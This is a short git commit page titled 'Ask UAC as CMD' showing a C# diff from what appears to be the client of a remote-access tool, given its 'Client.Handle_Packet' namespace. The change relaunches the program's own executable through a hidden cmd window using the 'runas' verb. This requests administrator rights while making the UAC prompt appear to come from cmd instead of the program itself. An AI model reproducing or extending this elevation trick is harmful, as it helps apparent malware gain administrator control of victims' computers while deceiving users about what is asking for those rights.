Ask UAC as CMD
This commit is contained in:
parent
85c3f6b674
commit
cf102c6382
@ -23,10 +23,11 @@ namespace Client.Handle_Packet
|
||||
{
|
||||
StartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = Process.GetCurrentProcess().MainModule.FileName,
|
||||
FileName = "cmd",
|
||||
Arguments = "/k START \"\" \"" + Process.GetCurrentProcess().MainModule.FileName + "\" & EXIT",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
CreateNoWindow = true,
|
||||
Verb = "runas"
|
||||
Verb = "runas",
|
||||
UseShellExecute = true
|
||||
}
|
||||
};
|
||||
proc.Start();
|
||||
|
Loading…
x
Reference in New Issue
Block a user